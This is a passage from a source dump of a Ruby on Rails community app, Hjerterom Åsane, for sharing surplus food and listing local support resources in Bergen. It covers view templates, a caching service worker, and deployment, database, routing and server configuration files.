kart for overskuddsmat, trygge ressurser og lokale m\u00f8tepunkt.\n\n    \n\n      &lt;%= link_to \"Legg ut mat\", new_food_listing_path, class: \"btn btn-primary\" %&gt;\n      &lt;%= link_to \"Se ressurser\", resources_path, class: \"btn btn-ghost\" %&gt;\n    \n\n    &lt;% if @crisis_lines.any? %&gt;\n      \n\n        Akutt st\u00f8tte\n        &lt;% @crisis_lines.each do |c| %&gt;\n          &lt;%= c.title %&gt; &lt;%= c.phone %&gt;\n        &lt;% end %&gt;\n      \n    &lt;% end %&gt;\n  \n\n  \n\n    \nTilgjengelig n\u00e5\n    &lt;% @food_listings.first(5).each do |listing| %&gt;\n      \n\n        &lt;%= link_to listing.title, food_listing_path(listing) %&gt;\n        \n&lt;%= listing.city.presence || \"\u00c5sane\" %&gt; \u00b7 til &lt;%= listing.available_until&amp;.strftime(\"%b %-d\") || \"snart\" %&gt;\n      \n    &lt;% end %&gt;\n    &lt;% if @food_listings.empty? %&gt;\n      \nIngen aktive matannonser akkurat n\u00e5.\n    &lt;% end %&gt;\n  \n\n```\n\n## `rails/hjerterom/app/views/layouts/application.html.erb`\n```erb\n\n\n\n  \n  \n  \n  \n  &lt;%= content_for?(:title) ? \"#{yield :title} \u2014 Hjerterom \u00c5sane\" : \"Hjerterom \u00c5sane\" %&gt;\n  \"&gt;\n  \"&gt;\n  \n  \"&gt;\n  \"&gt;\n  \n  \n  \n  \"&gt;\n  \"&gt;\n  &lt;%= csrf_meta_tags %&gt;\n  &lt;%= csp_meta_tag %&gt;\n  \n  \n  &lt;%= tag.link rel: \"manifest\", href: pwa_manifest_path(format: :json) %&gt;\n  &lt;%= stylesheet_link_tag :app, \"data-turbo-track\": \"reload\" %&gt;\n  \n  &lt;%= yield :json_ld %&gt;\n  &lt;%= javascript_importmap_tags %&gt;\n  &lt;%= yield :head if content_for?(:head) %&gt;\n  \n\n\n\n\n  &lt;%= link_to \"Hjerterom\", root_path, class: \"brand\" %&gt;\n  &lt;%= link_to \"Mat\",        food_listings_path %&gt;\n  &lt;%= link_to \"Ressurser\",  resources_path %&gt;\n  &lt;%= link_to \"Fellesskap\", community_path %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= link_to \"Logg ut\", session_path, data: { turbo_method: :delete } %&gt;\n  &lt;% else %&gt;\n    &lt;%= link_to \"Logg inn\", new_session_path %&gt;\n  &lt;% end %&gt;\n\n&lt;%= tag.p(notice, role: \"status\", class: \"flash-notice\") if notice %&gt;\n&lt;%= tag.p(alert, role: \"alert\", class: \"flash-alert\") if alert %&gt;\n\n&lt;%= yield %&gt;\n\n\n```\n\n## `rails/hjerterom/app/views/layouts/mailer.html.erb`\n```erb\n\n\n  \n    \n    \n      /* Email styles need to be inline */\n    \n  \n\n  \n    &lt;%= yield %&gt;\n  \n\n```\n\n## `rails/hjerterom/app/views/layouts/mailer.text.erb`\n```erb\n&lt;%= yield %&gt;\n```\n\n## `rails/hjerterom/app/views/passwords/edit.html.erb`\n```erb\n\nUpdate your password\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: password_path(params[:token]), method: :put do |form| %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"new-password\", placeholder: \"Enter new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.password_field :password_confirmation, required: true, autocomplete: \"new-password\", placeholder: \"Repeat new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Save\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/passwords/new.html.erb`\n```erb\n\nForgot your password?\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: passwords_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.submit \"Email reset instructions\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/pwa/manifest.json.erb`\n```erb\n{\n  \"name\": \"Hjerterom \u00c5sane\",\n  \"short_name\": \"Hjerterom\",\n  \"icons\": [\n    {\n      \"src\": \"/icon-192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\",\n      \"purpose\": \"maskable\"\n    }\n  ],\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"scope\": \"/\",\n  \"description\": \"Matredistribusjon og m\u00f8teplass i \u00c5sane, Bergen. Overskuddsmat, kl\u00e6r og b\u00f8ker til de som trenger det.\",\n  \"theme_color\": \"#1a1a1a\",\n  \"background_color\": \"#1a1a1a\"\n}\n```\n\n## `rails/hjerterom/app/views/pwa/service-worker.js`\n```javascript\nconst CACHE   = \"hjerterom-v2\"\nconst OFFLINE = \"/offline\"\n\nself.addEventListener(\"install\", e =&gt; {\n  e.waitUntil(caches.open(CACHE).then(c =&gt; c.addAll([\"/\", OFFLINE])))\n  self.skipWaiting()\n})\n\nself.addEventListener(\"activate\", e =&gt; {\n  e.waitUntil(caches.keys().then(keys =&gt;\n    Promise.all(keys.filter(k =&gt; k !== CACHE).map(k =&gt; caches.delete(k)))\n  ))\n  self.clients.claim()\n})\n\nself.addEventListener(\"fetch\", e =&gt; {\n  if (e.request.method !== \"GET\") return\n  const url = new URL(e.request.url)\n  const isNav = e.request.mode === \"navigate\"\n  const isAsset = /\\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)\n  if (isAsset) {\n    e.respondWith(caches.match(e.request).then(cached =&gt; cached || fetch(e.request).then(res =&gt; {\n      const clone = res.clone()\n      caches.open(CACHE).then(c =&gt; c.put(e.request, clone))\n      return res\n    })))\n  } else if (isNav) {\n    e.respondWith(fetch(e.request).catch(() =&gt; caches.match(OFFLINE)))\n  }\n})\n```\n\n## `rails/hjerterom/app/views/resources/_form.html.erb`\n```erb\n&lt;%= form_with model: resource do |f| %&gt;\n  &lt;%= render \"shared/errors\", object: resource %&gt;\n  \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title, autofocus: true %&gt;\n  \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 3 %&gt;\n  \n\n    &lt;%= f.label :resource_type %&gt;\n    &lt;%= f.select :resource_type, %w[mental_health food shelter legal medical], include_blank: \"Select\u2026\" %&gt;\n  \n  \n&lt;%= f.label :address %&gt;&lt;%= f.text_field :address %&gt;\n  \n&lt;%= f.label :city %&gt;&lt;%= f.text_field :city %&gt;\n  \n&lt;%= f.label :phone %&gt;&lt;%= f.telephone_field :phone %&gt;\n  \n&lt;%= f.label :email %&gt;&lt;%= f.email_field :email %&gt;\n  \n&lt;%= f.label :url, \"Website\" %&gt;&lt;%= f.url_field :url %&gt;\n  \n&lt;%= f.label :opening_hours %&gt;&lt;%= f.text_field :opening_hours %&gt;\n  \n&lt;%= f.submit %&gt; &lt;%= link_to \"Cancel\", resources_path %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/resources/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit resource\" %&gt;\n\nEdit resource\n&lt;%= render \"form\", resource: @resource %&gt;\n```\n\n## `rails/hjerterom/app/views/resources/index.html.erb`\n```erb\n&lt;% content_for :title, \"Resources\" %&gt;\n\n\n  \nResources\n  &lt;% if authenticated? %&gt;&lt;%= link_to \"Add resource\", new_resource_path %&gt;&lt;% end %&gt;\n\n\n\n  &lt;% @resources.each do |resource| %&gt;\n    \n\n      &lt;%= link_to resource.title, resource %&gt;\n      &lt;%= resource.resource_type %&gt;\n      \n&lt;%= resource.description %&gt;\n      \n&lt;%= [resource.city, resource.phone].compact.join(\" \u00b7 \") %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/hjerterom/app/views/resources/new.html.erb`\n```erb\n&lt;% content_for :title, \"Add resource\" %&gt;\n\nAdd resource\n&lt;%= render \"form\", resource: @resource %&gt;\n```\n\n## `rails/hjerterom/app/views/resources/show.html.erb`\n```erb\n&lt;% content_for :title, @resource.title %&gt;\n\n\n  \n&lt;%= @resource.title %&gt;\n  &lt;%= @resource.resource_type %&gt;\n  \n&lt;%= @resource.description %&gt;\n  \n\n    &lt;% if @resource.address.present? %&gt;\nAddress\n&lt;%= @resource.address %&gt;, &lt;%= @resource.city %&gt;&lt;% end %&gt;\n    &lt;% if @resource.phone.present? %&gt;\nPhone\n&lt;%= @resource.phone %&gt;&lt;% end %&gt;\n    &lt;% if @resource.email.present? %&gt;\nEmail\n&lt;%= mail_to @resource.email %&gt;&lt;% end %&gt;\n    &lt;% if @resource.url.present? %&gt;\nWebsite\n&lt;%= link_to @resource.url, @resource.url %&gt;&lt;% end %&gt;\n    &lt;% if @resource.opening_hours.present? %&gt;\nHours\n&lt;%= @resource.opening_hours %&gt;&lt;% end %&gt;\n  \n  &lt;% if @resource.user == Current.user %&gt;\n    &lt;%= link_to \"Edit\", edit_resource_path(@resource) %&gt;\n    &lt;%= button_to \"Delete\", @resource, method: :delete, data: { turbo_confirm: \"Delete?\" } %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/hjerterom/app/views/sessions/new.html.erb`\n```erb\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n&lt;% if flash[:notice] %&gt;\n&lt;%= flash[:notice] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: session_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"current-password\", placeholder: \"Enter your password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Sign in\" %&gt;\n&lt;% end %&gt;\n\n\n&lt;%= link_to \"Forgot password?\", new_password_path %&gt;\n```\n\n## `rails/hjerterom/app/views/shared/_logo.html.erb`\n```erb\n\n  \n    \n      \n      \n      \n      \n      \n      \n      \n      \n      \n      \n      \n      \n      \n    \n  \n  \n    \n      \n    \n  \n  \n  \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n    \n      \n      \n      \n      \n      \n    \n  \n  hjerterom\n\n```\n\n## `rails/hjerterom/app/views/shifts/_form.html.erb`\n```erb\n&lt;%= form_with model: [volunteer, shift] do |f| %&gt;\n  &lt;% if shift.errors.any? %&gt;\n    \n&lt;% shift.errors.full_messages.each do |msg| %&gt;\n&lt;%= msg %&gt;&lt;% end %&gt;\n  &lt;% end %&gt;\n  \n&lt;%= f.label :kind %&gt;&lt;%= f.select :kind, Shift.kinds.keys.map { |k| [k.humanize, k] } %&gt;\n  \n&lt;%= f.label :starts_at %&gt;&lt;%= f.datetime_local_field :starts_at %&gt;\n  \n&lt;%= f.label :ends_at %&gt;&lt;%= f.datetime_local_field :ends_at %&gt;\n  \n&lt;%= f.label :notes %&gt;&lt;%= f.text_area :notes, rows: 2 %&gt;\n  \n&lt;%= f.submit \"Add shift\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/shifts/_shift.html.erb`\n```erb\n\n\n  &lt;%= shift.kind.humanize %&gt;\n  \u2014 &lt;%= shift.starts_at.strftime(\"%b %-d, %H:%M\") %&gt;\u2013&lt;%= shift.ends_at.strftime(\"%H:%M\") %&gt;\n  (&lt;%= shift.state.humanize %&gt;)\n\n```\n\n## `rails/hjerterom/app/views/shifts/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.append \"shifts\", partial: \"shifts/shift\", locals: { shift: @shift } %&gt;\n```\n\n## `rails/hjerterom/app/views/shifts/index.html.erb`\n```erb\n&lt;% content_for :title, \"Shifts\" %&gt;\n\nShifts\n&lt;% if @shifts.any? %&gt;\n  &lt;%= turbo_stream_from \"hjerterom:shifts\" %&gt;\n  \n\n    &lt;%= render @shifts %&gt;\n  \n&lt;% else %&gt;\n  \nNo upcoming shifts.\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/shifts/update.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace dom_id(@shift), partial: \"shifts/shift\", locals: { shift: @shift } %&gt;\n```\n\n## `rails/hjerterom/app/views/volunteers/_form.html.erb`\n```erb\n&lt;%= form_with model: volunteer do |f| %&gt;\n  &lt;% if volunteer.errors.any? %&gt;\n    \n\n      &lt;% volunteer.errors.full_messages.each do |msg| %&gt;\n        \n&lt;%= msg %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n  \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name %&gt;\n  \n&lt;%= f.label :email %&gt;&lt;%= f.email_field :email %&gt;\n  \n&lt;%= f.label :phone %&gt;&lt;%= f.telephone_field :phone %&gt;\n  \n&lt;%= f.label :notes %&gt;&lt;%= f.text_area :notes, rows: 3 %&gt;\n  \n&lt;%= f.submit %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/volunteers/_volunteer.html.erb`\n```erb\n\n&lt;%= link_to volunteer.name, volunteer %&gt;&lt;% if volunteer.email.present? %&gt; \u2014 &lt;%= mail_to volunteer.email %&gt;&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/volunteers/_volunteer_details.html.erb`\n```erb\n\n\n  \n&lt;%= volunteer.name %&gt;\n  \n\n    &lt;% if volunteer.email.present? %&gt;\nEmail\n&lt;%= mail_to volunteer.email %&gt;&lt;% end %&gt;\n    &lt;% if volunteer.phone.present? %&gt;\nPhone\n&lt;%= volunteer.phone %&gt;&lt;% end %&gt;\n    &lt;% if volunteer.notes.present? %&gt;\nNotes\n&lt;%= volunteer.notes %&gt;&lt;% end %&gt;\n  \n\n```\n\n## `rails/hjerterom/app/views/volunteers/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.append \"volunteers\", partial: \"volunteers/volunteer\", locals: { volunteer: @volunteer } %&gt;\n```\n\n## `rails/hjerterom/app/views/volunteers/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit #{@volunteer.name}\" %&gt;\n\n\nEdit volunteer\n\n&lt;%= render \"form\", volunteer: @volunteer %&gt;\n```\n\n## `rails/hjerterom/app/views/volunteers/index.html.erb`\n```erb\n&lt;% content_for :title, \"Volunteers\" %&gt;\n\nVolunteers\n&lt;% if @volunteers.any? %&gt;\n  &lt;%= turbo_stream_from \"hjerterom:volunteers\" %&gt;\n  \n\n    &lt;%= render @volunteers %&gt;\n  \n&lt;% else %&gt;\n  \nNo active volunteers yet.\n&lt;% end %&gt;\n&lt;% if authenticated? %&gt;\n  &lt;%= link_to \"Register as volunteer\", new_volunteer_path %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/hjerterom/app/views/volunteers/new.html.erb`\n```erb\n&lt;% content_for :title, \"Register as volunteer\" %&gt;\n\nRegister as volunteer\n&lt;%= render \"form\", volunteer: @volunteer %&gt;\n```\n\n## `rails/hjerterom/app/views/volunteers/show.html.erb`\n```erb\n&lt;% content_for :title, @volunteer.name %&gt;\n&lt;%= render \"volunteer_details\", volunteer: @volunteer %&gt;\n\n  \n\n    \nUpcoming shifts\n    &lt;% if @shifts.any? %&gt;\n      \n\n        &lt;% @shifts.each do |shift| %&gt;\n          \n&lt;%= shift.kind.humanize %&gt; \u2014 &lt;%= shift.starts_at.strftime(\"%b %-d, %H:%M\") %&gt;\u2013&lt;%= shift.ends_at.strftime(\"%H:%M\") %&gt; (&lt;%= shift.state.humanize %&gt;)\n        &lt;% end %&gt;\n      \n    &lt;% else %&gt;\n      \nNo upcoming shifts.\n    &lt;% end %&gt;\n    &lt;% if authenticated? %&gt;\n      &lt;%= render \"shifts/form\", volunteer: @volunteer, shift: Shift.new %&gt;\n    &lt;% end %&gt;\n  \n```\n\n## `rails/hjerterom/app/views/volunteers/update.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace dom_id(@volunteer), partial: \"volunteers/volunteer_details\", locals: { volunteer: @volunteer } %&gt;\n```\n\n## `rails/hjerterom/config/application.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire_relative \"boot\"\n\nrequire \"rails\"\n# Pick the frameworks you want:\nrequire \"active_model/railtie\"\nrequire \"active_job/railtie\"\nrequire \"active_record/railtie\"\nrequire \"active_storage/engine\"\nrequire \"action_controller/railtie\"\nrequire \"action_mailer/railtie\"\nrequire \"action_mailbox/engine\"\nrequire \"action_text/engine\"\nrequire \"action_view/railtie\"\nrequire \"action_cable/engine\"\n# require \"rails/test_unit/railtie\"\n\n# Require the gems listed in Gemfile, including any gems\n# you've limited to :test, :development, or :production.\nBundler.require(*Rails.groups)\n\nmodule App\n  class Application &lt; Rails::Application\n    # Initialize configuration defaults for originally generated Rails version.\n    config.load_defaults 8.1\n\n    # Please, add to the `ignore` list any other `lib` subdirectories that do\n    # not contain `.rb` files, or that should not be reloaded or eager loaded.\n    # Common ones are `templates`, `generators`, or `middleware`, for example.\n    config.autoload_lib(ignore: %w[assets tasks])\n\n    # Configuration for the application, engines, and railties goes here.\n    #\n    # These settings can be overridden in specific environments using the files\n    # in config/environments, which are processed later.\n    #\n    # config.time_zone = \"Central Time (US &amp; Canada)\"\n    # config.eager_load_paths &lt;&lt; Rails.root.join(\"extras\")\n\n    # Don't generate system test files.\n    config.generators.system_tests = nil\n  end\nend\n```\n\n## `rails/hjerterom/config/cable.yml`\n```yaml\ndevelopment:\n  adapter: async\n\ntest:\n  adapter: test\n\nproduction:\n  adapter: redis\n  url: &lt;%= ENV.fetch(\"REDIS_URL\") { \"redis://localhost:6379/1\" } %&gt;\n  channel_prefix: app_production\n```\n\n## `rails/hjerterom/config/database.yml`\n```yaml\n# SQLite. Versions 3.8.0 and up are supported.\n#   gem install sqlite3\n#\n#   Ensure the SQLite 3 gem is defined in your Gemfile\n#   gem \"sqlite3\"\n#\ndefault: &amp;default\n  adapter: sqlite3\n  max_connections: &lt;%= ENV.fetch(\"RAILS_MAX_THREADS\") { 5 } %&gt;\n  timeout: 5000\n\ndevelopment:\n  &lt;&lt;: *default\n  database: storage/development.sqlite3\n\n# Warning: The database defined as \"test\" will be erased and\n# re-generated from your development database when you run \"rake\".\n# Do not set this db to the same as development or production.\ntest:\n  &lt;&lt;: *default\n  database: storage/test.sqlite3\n\n# Store production database in the storage/ directory, which by default\n# is mounted as a persistent Docker volume in config/deploy.yml.\nproduction:\n  primary:\n    &lt;&lt;: *default\n    database: storage/production.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: storage/production_cache.sqlite3\n    migrations_paths: db/cache_migrate\n  queue:\n    &lt;&lt;: *default\n    database: storage/production_queue.sqlite3\n    migrations_paths: db/queue_migrate\n  cable:\n    &lt;&lt;: *default\n    database: storage/production_cable.sqlite3\n    migrations_paths: db/cable_migrate\n```\n\n## `rails/hjerterom/config/deploy.yml`\n```yaml\n# Name of your application. Used to uniquely configure containers.\nservice: app\n\n# Name of the container image (use your-user/app-name on external registries).\nimage: app\n\n# Deploy to these servers.\nservers:\n  web:\n    - 192.168.0.1\n  # job:\n  #   hosts:\n  #     - 192.168.0.1\n  #   cmd: bin/jobs\n\n# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.\n# If used with Cloudflare, set encryption mode in SSL/TLS setting to \"Full\" to enable CF-to-app encryption.\n#\n# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.\n#\n# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).\n#\n# proxy:\n#   ssl: true\n#   host: hjerterom.no\n\n# Where you keep your container images.\nregistry:\n  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...\n  server: localhost:5555\n\n  # Needed for authenticated registries.\n  # username: your-user\n\n  # Always use an access token rather than real password when possible.\n  # password:\n  #   - KAMAL_REGISTRY_PASSWORD\n\n# Inject ENV variables into containers (secrets come from .kamal/secrets).\nenv:\n  secret:\n    - RAILS_MASTER_KEY\n  clear:\n    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.\n    # When you start using multiple servers, you should split out job processing to a dedicated machine.\n    SOLID_QUEUE_IN_PUMA: true\n\n    # Set number of processes dedicated to Solid Queue (default: 1)\n    # JOB_CONCURRENCY: 3\n\n    # Set number of cores available to the application on each server (default: 1).\n    # WEB_CONCURRENCY: 2\n\n    # Match this to any external database server to configure Active Record correctly\n    # Use app-db for a db accessory server on same machine via local kamal docker network.\n    # DB_HOST: 192.168.0.2\n\n    # Log everything from Rails\n    # RAILS_LOG_LEVEL: debug\n\n# Aliases are triggered with \"bin/kamal \". You can overwrite arguments on invocation:\n# \"bin/kamal logs -r job\" will tail logs from the first server in the job section.\naliases:\n  console: app exec --interactive --reuse \"bin/rails console\"\n  shell: app exec --interactive --reuse \"bash\"\n  logs: app logs -f\n  dbc: app exec --interactive --reuse \"bin/rails dbconsole --include-password\"\n\n# Use a persistent storage volume for sqlite database files and local Active Storage files.\n# Recommended to change this to a mounted volume path that is backed up off server.\nvolumes:\n  - \"app_storage:/rails/storage\"\n\n# Bridge fingerprinted assets, like JS and CSS, between versions to avoid\n# hitting 404 on in-flight requests. Combines all files from new and old\n# version inside the asset_path.\nasset_path: /rails/public/assets\n\n# Configure the image builder.\nbuilder:\n  arch: amd64\n\n  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)\n  # remote: ssh://docker@docker-builder-server\n  #\n  # # Pass arguments and secrets to the Docker build process\n  # args:\n  #   RUBY_VERSION: ruby-3.4.9\n  # secrets:\n  #   - GITHUB_TOKEN\n  #   - RAILS_MASTER_KEY\n\n# Use a different ssh user than root\n# ssh:\n#   user: app\n\n# Use accessory services (secrets come from .kamal/secrets).\n# accessories:\n#   db:\n#     image: mysql:8.0\n#     host: 192.168.0.2\n#     # Change to 3306 to expose port to the world instead of just local network.\n#     port: \"127.0.0.1:3306:3306\"\n#     env:\n#       clear:\n#         MYSQL_ROOT_HOST: '%'\n#       secret:\n#         - MYSQL_ROOT_PASSWORD\n#     files:\n#       - config/mysql/production.cnf:/etc/mysql/my.cnf\n#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql\n#     directories:\n#       - data:/var/lib/mysql\n#   redis:\n#     image: valkey/valkey:8\n#     host: 192.168.0.2\n#     port: 6379\n#     directories:\n#       - data:/data\n```\n\n## `rails/hjerterom/config/environments/production.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"active_support/core_ext/integer/time\"\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # Code is not reloaded between requests.\n  config.enable_reloading = false\n\n  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).\n  config.eager_load = true\n\n  # Full error reports are disabled.\n  config.consider_all_requests_local = false\n\n  # Turn on fragment caching in view templates.\n  config.action_controller.perform_caching = true\n\n  # Cache assets for far-future expiry since they are all digest stamped.\n  config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=#{1.year.to_i}\" }\n\n  # Enable serving of images, stylesheets, and JavaScripts from an asset server.\n  # config.asset_host = \"http://assets.example.com\"\n\n  # Store uploaded files on the local file system (see config/storage.yml for options).\n  config.active_storage.service = :local\n\n  # Assume all access to the app is happening through a SSL-terminating reverse proxy.\n  config.assume_ssl = true\n\n  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.\n  # config.force_ssl = true\n\n  # Skip http-to-https redirect for the default health check endpoint.\n  # config.ssl_options = { redirect: { exclude: -&gt;(request) { request.path == \"/up\" } } }\n\n  # Log to STDOUT with the current request id as a default log tag.\n  config.log_tags = [ :request_id ]\n  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)\n\n  # Change to \"debug\" to log everything (including potentially personally-identifiable information!).\n  config.log_level = ENV.fetch(\"RAILS_LOG_LEVEL\", \"info\")\n\n  # Prevent health checks from clogging up the logs.\n  config.silence_healthcheck_path = \"/up\"\n\n  # Don't log any deprecations.\n  config.active_support.report_deprecations = false\n\n  # Replace the default in-process memory cache store with a durable alternative.\n  config.cache_store = :solid_cache_store\n\n  # Replace the default in-process and non-durable queuing backend for Active Job.\n  config.active_job.queue_adapter = :solid_queue\n  config.solid_queue.connects_to = { database: { writing: :queue } }\n\n  # Ignore bad email addresses and do not raise email delivery errors.\n  # Set this to true and configure the email server for immediate delivery to raise delivery errors.\n  # config.action_mailer.raise_delivery_errors = false\n\n  # Set host to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"hjerterom.no\", protocol: \"https\" }\n\n  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.\n  # config.action_mailer.smtp_settings = {\n  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),\n  #   password: Rails.application.credentials.dig(:smtp, :password),\n  #   address: \"smtp.example.com\",\n  #   port: 587,\n  #   authentication: :plain\n  # }\n\n  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to\n  # the I18n.default_locale when a translation cannot be found).\n  config.i18n.fallbacks = true\n\n  # Do not dump schema after migrations.\n  config.active_record.dump_schema_after_migration = false\n\n  # Only use :id for inspections in production.\n  config.active_record.attributes_for_inspect = [ :id ]\n\n  config.hosts = [\"hjerterom.brgen.no\", \"hjerterom.no\", \"www.hjerterom.no\"]\n  config.host_authorization = { exclude: -&gt;(request) { request.path == \"/up\" } }\nend\n```\n\n## `rails/hjerterom/config/importmap.rb`\n```ruby\n# frozen_string_literal: true\n\n# Pin npm packages by running ./bin/importmap\n\npin \"application\"\npin \"hjerterom_map\"\npin \"@hotwired/turbo-rails\", to: \"turbo.min.js\"\npin \"@hotwired/stimulus\", to: \"@hotwired--stimulus.js\" # @3.2.2\npin \"@hotwired/stimulus-loading\", to: \"stimulus-loading.js\"\npin_all_from \"app/javascript/controllers\", under: \"controllers\"\npin \"@stimulus-components/dialog\", to: \"@stimulus-components--dialog.js\" # @1.0.1\npin \"@stimulus-components/auto-submit\", to: \"@stimulus-components--auto-submit.js\" # @6.0.0\npin \"@stimulus-components/character-counter\", to: \"@stimulus-components--character-counter.js\" # @5.1.0\npin \"@stimulus-components/dropdown\", to: \"@stimulus-components--dropdown.js\" # @3.0.0\npin \"stimulus-use\" # @0.52.3\npin \"@stimulus-components/clipboard\", to: \"@stimulus-components--clipboard.js\" # @5.0.0\npin \"@stimulus-components/notification\", to: \"@stimulus-components--notification.js\" # @3.0.0\npin \"@stimulus-components/timeago\", to: \"@stimulus-components--timeago.js\" # @5.0.2\npin \"date-fns\" # @4.1.0\npin \"@stimulus-components/animated-number\", to: \"@stimulus-components--animated-number.js\" # @5.0.0\npin \"@stimulus-components/sortable\", to: \"@stimulus-components--sortable.js\" # @5.0.3\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js\" # @0.0.13\npin \"@rails/request.js\", to: \"@rails--request.js.js\" # @0.0.13\npin \"sortablejs\" # @1.15.7\n```\n\n## `rails/hjerterom/config/puma.rb`\n```ruby\n# frozen_string_literal: true\n\nthreads_count = ENV.fetch(\"RAILS_MAX_THREADS\", 3)\nthreads threads_count, threads_count\nport ENV.fetch(\"PORT\") { 10004 }\nenvironment ENV.fetch(\"RAILS_ENV\") { \"production\" }\npidfile ENV.fetch(\"PIDFILE\") { \"tmp/pids/server.pid\" }\nplugin :tmp_restart\n```\n\n## `rails/hjerterom/config/routes.rb`\n```ruby\n# frozen_string_literal: true\n\nRails.application.routes.draw do\n  resource  :session\n  resources :passwords, param: :token\n\n  root \"home#index\"\n\n  resources :resources\n  resources :food_listings do\n    resources :food_requests, only: %i[create update]\n  end\n\n  scope :community do\n    get  \"/\",       to: \"community#index\", as: :community\n    get  \"/:id\",    to: \"community#show\",  as: :community_show\n    get  \"/new\",    to: \"community#new\",   as: :new_community_post\n    post \"/\",       to: \"community#create\"\n    resources :comments, only: %i[create destroy]\n  end\n\n  resources :donations\n  resources :boxes\n  resources :volunteers do\n    resources :shifts, only: %i[create]\n  end\n  resources :shifts, only: %i[index update]\n\n  resources :users, only: %i[show]\n\n  get 'manifest' =&gt; 'rails/pwa#manifest', as: :pwa_manifest\n  get 'service-worker' =&gt; 'rails/pwa#service_worker', as: :pwa_service_worker\n  get \"up\", to: 